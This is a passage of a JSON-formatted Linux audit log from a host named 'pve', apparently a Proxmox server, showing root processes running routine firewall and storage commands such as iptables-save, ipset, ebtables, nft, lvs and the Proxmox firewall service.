fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635921,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.921:66454): proctitle=\"ebtables-restore\""} {"@timestamp":1781966315862,"@rawstring":"node=pve type=PATH msg=audit(1781966315.862:69276): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935679,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.679:63283): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60719 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635913,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.913:66453): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966315855,"@rawstring":"node=pve type=PATH msg=audit(1781966315.855:69275): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935672,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.672:63282): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60718 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635903,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.903:66452): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966315855,"@rawstring":"node=pve type=PATH msg=audit(1781966315.855:69275): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935664,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.664:63281): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60717 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635895,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.895:66451): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966315849,"@rawstring":"node=pve type=PATH msg=audit(1781966315.849:69274): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935662,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.662:63280): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5be3aabaa740 items=0 ppid=1156 pid=60716 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965635885,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.885:66450): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966315849,"@rawstring":"node=pve type=PATH msg=audit(1781966315.849:69274): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935659,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.659:63279): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ed0a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60716 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635878,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.878:66449): proctitle=697073657400726573746F7265"} {"@timestamp":1781966315843,"@rawstring":"node=pve type=PATH msg=audit(1781966315.843:69273): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935654,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.654:63278): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f4870 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60715 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635868,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.868:66448): proctitle=\"ip6tables-save\""} {"@timestamp":1781966315843,"@rawstring":"node=pve type=PATH msg=audit(1781966315.843:69273): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935648,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.648:63277): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ecd70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60714 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635859,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.859:66447): proctitle=\"iptables-save\""} {"@timestamp":1781966315838,"@rawstring":"node=pve type=PATH msg=audit(1781966315.838:69272): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935642,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.642:63276): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f4a30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60713 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635850,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.850:66446): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966315838,"@rawstring":"node=pve type=PATH msg=audit(1781966315.838:69272): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935636,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.636:63275): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60712 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635846,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.846:66445): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966315832,"@rawstring":"node=pve type=PATH msg=audit(1781966315.832:69271): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935631,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.631:63274): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d640 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60711 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635845,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.845:66444): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966315832,"@rawstring":"node=pve type=PATH msg=audit(1781966315.832:69271): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935625,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.625:63273): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60710 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635844,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.844:66443): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966314604,"@rawstring":"node=pve type=PATH msg=audit(1781966314.604:69270): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935618,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.618:63272): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60709 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635839,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.839:66442): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966314604,"@rawstring":"node=pve type=PATH msg=audit(1781966314.604:69270): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935614,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.614:63271): arch=c000003e syscall=59 success=yes exit=0 a0=5b34af4e0ed0 a1=5b34af4ddc50 a2=5b34af4bf680 a3=5 items=2 ppid=60702 pid=60708 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635830,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.830:66441): proctitle=\"ip6tables-save\""} {"@timestamp":1781966314566,"@rawstring":"node=pve type=PATH msg=audit(1781966314.566:69269): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935610,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.610:63270): arch=c000003e syscall=59 success=yes exit=0 a0=5b34ab984ac8 a1=7ffd83edcc40 a2=5b34af4bf680 a3=5b34ab96824e items=2 ppid=60702 pid=60704 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635821,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.821:66440): proctitle=\"iptables-save\""} {"@timestamp":1781966314566,"@rawstring":"node=pve type=PATH msg=audit(1781966314.566:69269): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935608,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.608:63269): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd83edcc00 a1=5b34af4c6310 a2=5b34af4bf680 a3=5 items=2 ppid=60702 pid=60703 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635813,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.813:66439): proctitle=69707365740073617665"} {"@timestamp":1781966311154,"@rawstring":"node=pve type=PATH msg=audit(1781966311.154:69268): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935603,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.603:63267): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60702 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635803,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.803:66438): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966311154,"@rawstring":"node=pve type=PATH msg=audit(1781966311.154:69268): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935597,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.597:63266): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ed190 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60701 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635792,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.792:66437): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966311154,"@rawstring":"node=pve type=PATH msg=audit(1781966311.154:69267): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935590,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.590:63265): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60700 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966311154,"@rawstring":"node=pve type=PATH msg=audit(1781966311.154:69266): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965634960,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965634.960:66436): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964935585,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.585:63264): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae45e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60699 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966311147,"@rawstring":"node=pve type=PATH msg=audit(1781966311.147:69265): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965634934,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965634.934:66435): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964935579,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.579:63263): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed920 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60698 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966311147,"@rawstring":"node=pve type=PATH msg=audit(1781966311.147:69265): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965633762,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965633.762:66434): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964935571,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.571:63262): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d7d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60697 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966311147,"@rawstring":"node=pve type=PATH msg=audit(1781966311.147:69264): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965633762,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965633.762:66433): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964934385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964934.385:63261): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c0ae0 a1=64f8d74099b0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60696 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966311146,"@rawstring":"node=pve type=PATH msg=audit(1781966311.146:69263): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965633762,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965633.762:66432): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964934351,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964934.351:63260): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bb6f0 a1=64f8d1915dc0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60695 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966306140,"@rawstring":"node=pve type=PATH msg=audit(1781966306.140:69262): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965633751,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965633.751:66431): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964931175,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964931.175:63259): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60692 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966306140,"@rawstring":"node=pve type=PATH msg=audit(1781966306.140:69262): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965633751,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965633.751:66430): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964931169,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964931.169:63256): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60691 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966306140,"@rawstring":"node=pve type=PATH msg=audit(1781966306.140:69261): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965633751,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965633.751:66429): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964926160,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964926.160:63253): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60690 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966306140,"@rawstring":"node=pve type=PATH msg=audit(1781966306.140:69260): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965628741,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965628.741:66428): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964926152,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964926.152:63250): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60689 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966306133,"@rawstring":"node=pve type=PATH msg=audit(1781966306.133:69259): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965628741,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965628.741:66427): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964925561,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.561:63247): arch=c000003e syscall=59 success=yes exit=0 a0=6222b79f8d70 a1=6222b7a04f40 a2=6222b79d2680 a3=5 items=2 ppid=60682 pid=60688 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966306133,"@rawstring":"node=pve type=PATH msg=audit(1781966306.133:69259): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965628741,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965628.741:66426): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964925558,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.558:63246): arch=c000003e syscall=59 success=yes exit=0 a0=62228d1f2ac8 a1=7fff4a255eb0 a2=6222b79d2680 a3=62228d1d624e items=2 ppid=60682 pid=60684 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966306133,"@rawstring":"node=pve type=PATH msg=audit(1781966306.133:69258): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965628732,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965628.732:66425): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964925558,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.558:63245): arch=c000003e syscall=59 success=yes exit=0 a0=7fff4a255e70 a1=6222b79f4410 a2=6222b79d2680 a3=5 items=2 ppid=60682 pid=60683 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966306133,"@rawstring":"node=pve type=PATH msg=audit(1781966306.133:69257): item=0 